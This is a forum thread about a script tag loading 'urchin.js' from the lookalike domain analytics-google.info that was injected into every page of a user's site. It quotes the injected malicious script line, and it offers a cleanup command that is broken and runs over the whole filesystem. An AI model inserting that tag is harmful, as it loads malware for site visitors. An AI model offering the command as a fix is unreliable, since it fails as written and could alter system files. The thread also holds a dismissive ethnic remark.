what is analytics-google.info?

[rainless]

I did a search on google for "what is analytics-google.info?" and found a bunch of people asking the same question.

My site, http://www.thewholedamnshow.com, 's domain name had expired. So I paid to renew it and, when I got it back up... it would redirect to analytics-google.info.

There's a nice summary for my page and meta tags and stuff now... but it takes FOREVER to load... and I never paid for, asked for, or was interested in this service.

It left this code in my index.htm

<script src="http://analytics-google.info/urchin.js"></script>

How is that even possible? How could google write to MY index.htm without my permission? I got in contact with my Domain Name registrar... then told me to contact my domain host. Got in contact with my domain host... THEY told me it was my fault!

What the hell?

P.S. I deleted the code from my index.htm. But the BIG problem is that it copied the code to EVERY page of my site.

[jdf_warrior]

Google Analytics is a service provided by Google obviously that generates site stats. Google doesnt insert it by itself. You register for the service and they give you a link to the script and you insert the code yourself. Who do you have your hosting service through? And did you have an option to monitor site traffic or generate some kind of stats on your site traffic?

Analytics will let you see what links people are clicking on the most, what browsers those people are using, where the people are from, what isp they are using, etc. Gives you all kinds of pretty graphs and such. Neat little tool.

[rainless]

Google Analytics is a service provided by Google obviously that generates site stats. Google doesnt insert it by itself. You register for the service and they give you a link to the script and you insert the code yourself. Who do you have your hosting service through? And did you have an option to monitor site traffic or generate some kind of stats on your site traffic?

Analytics will let you see what links people are clicking on the most, what browsers those people are using, where the people are from, what isp they are using, etc. Gives you all kinds of pretty graphs and such. Neat little tool.

Well my hosting service is Lunarpages... and they've never heard of it. And I certainly didn't register for the service... Weird.

The tricky part is REMOVING the damned thing from my site!

I really like the description of my site it inserted into the meta tags though... I couldn't have written it better myself... In fact... it looks like something I DID write... But that's simply impossible.

[adamwhoopie]

I know this topic is a few months old, but I signed up just to post for future readers: This is a virus. Google's Analytics service is not located on a .info TLD. This domain, analytics-google.info, is registered by a Russian guy (what a surprise! as usual...), and I am pretty sure that urchin.js contains malicious code. Right now the site is down (probably because Google didn't like this impostor :D), so you SHOULD be fine, but it does say one thing- your web host has a bunch of infected servers. Thats how you got the code on your site, and there is a very good chance there is even more malicious code on your site.

You see, a client of mine contacted me telling me that she wasn't able to open her site because Firefox said it was unsafe. I opened it on my computer, and it opened- but that was because my browser didn't stop me (I then got a bunch of trojans ><). Her site had been infected, and after digging around, I found that analytics-google.info was one of the codes that shouldn't be there. There were two other codes as well, and I cleaned them up from each page on her site. But the script may come back as long as your web host doesn't get rid of the virus. So talk to your web host, or switch!

This goes for everyone that thinks their site is behaving strangely, seems to be going since around March. Not sure.

[rainless]

I know this topic is a few months old, but I signed up just to post for future readers: This is a virus. Google's Analytics service is not located on a .info TLD. This domain, analytics-google.info, is registered by a Russian guy (what a surprise! as usual...), and I am pretty sure that urchin.js contains malicious code. Right now the site is down (probably because Google didn't like this impostor :D), so you SHOULD be fine, but it does say one thing- your web host has a bunch of infected servers. Thats how you got the code on your site, and there is a very good chance there is even more malicious code on your site.

You see, a client of mine contacted me telling me that she wasn't able to open her site because Firefox said it was unsafe. I opened it on my computer, and it opened- but that was because my browser didn't stop me (I then got a bunch of trojans ><). Her site had been infected, and after digging around, I found that analytics-google.info was one of the codes that shouldn't be there. There were two other codes as well, and I cleaned them up from each page on her site. But the script may come back as long as your web host doesn't get rid of the virus. So talk to your web host, or switch!

This goes for everyone that thinks their site is behaving strangely, seems to be going since around March. Not sure.

JESUS CHRIST WHY DID I NEVER SEE THIS REPLY?!?!

It's two years later and I'm still trying to repair the damage done. Now another site bought the domain and is redirecting to some BS search engine.

So I have to go through EACH AND EVERY PAGE of my website (and there are hundreds... this was before I learned PHP) and get rid of this nonsense.

Lunarpages really dropped the ball on this one. They never did come up with an answer for what this was.

[Shelnutt2]

JESUS CHRIST WHY DID I NEVER SEE THIS REPLY?!?!

It's two years later and I'm still trying to repair the damage done. Now another site bought the domain and is redirecting to some BS search engine.

So I have to go through EACH AND EVERY PAGE of my website (and there are hundreds... this was before I learned PHP) and get rid of this nonsense.

Lunarpages really dropped the ball on this one. They never did come up with an answer for what this was.

Hey rainless, do you have ssh access? I can give you a command to wipe it from every file in one press of the enter key if you do :D

find / -type f -print0 | xargs -0 grep -l "nastylineofcode" | sed -i 's/"nastylineofcode"/"something nice or just "" to erase it"/g'

The grep might seem redundant but grep can search a file faster than sed, so you overall should get some extra performance because sed only goes through the files that have the bad code.

[rainless]

Hey rainless, do you have ssh access? I can give you a command to wipe it from every file in one press of the enter key if you do :D

find / -type f -print0 | xargs -0 grep -l "nastylineofcode" | sed -i 's/"nastylineofcode"/"something nice or just "" to erase it"/g' *.

You... are...

...THE MAAAAAAAAN!

[Shelnutt2]

Damn bleeping spammers! They added a *. to the end of my line so that it would fail and you'd be stuck with their icky code! I removed it from my post but make sure when you copy you don't get the typo spammer's damn code! ;)

[I.M.O.G.]

Sounds like your host stuck in analytics tracking on you, so that they could monitor traffic... They probably parked the pages when you lapsed, and I'm guessing that's how it happened.

Different hosts handle things differently... The cheaper the host, the more games they are likely to play. I pay 10 bucks a month for 1and1, which is actually kinda pricey for personal hosting on shared servers, but they haven't ever played any games with my site and I have no complaints.

[rainless]

Sounds like your host stuck in analytics tracking on you, so that they could monitor traffic... They probably parked the pages when you lapsed, and I'm guessing that's how it happened.

Different hosts handle things differently... The cheaper the host, the more games they are likely to play. I pay 10 bucks a month for 1and1, which is actually kinda pricey for personal hosting on shared servers, but they haven't ever played any games with my site and I have no complaints.

Nah. No games. Like the guy said:

I know this topic is a few months old, but I signed up just to post for future readers: This is a virus. Google's Analytics service is not located on a .info TLD. This domain, analytics-google.info, is registered by a Russian guy (what a surprise! as usual...), and I am pretty sure that urchin.js contains malicious code..

My guys are pretty reliable... they just aren't very GOOD when it comes to viruses or things going wrong.

[I.M.O.G.]

Wow, that was an obvious miss on my part. Thank you for being gentle. :D

Ok, so the next question is how was anyone else able to modify your files - does this site include a SQL backend?

[rainless]

Wow, that was an obvious miss on my part. Thank you for being gentle. :D

Ok, so the next question is how was anyone else able to modify your files - does this site include a SQL backend?

I was using SQL for a donation system, but I discontinued it. I guess the files were still there... but ONLY files in that directory were affected.

Don't know how he did it... but he certainly figured it out!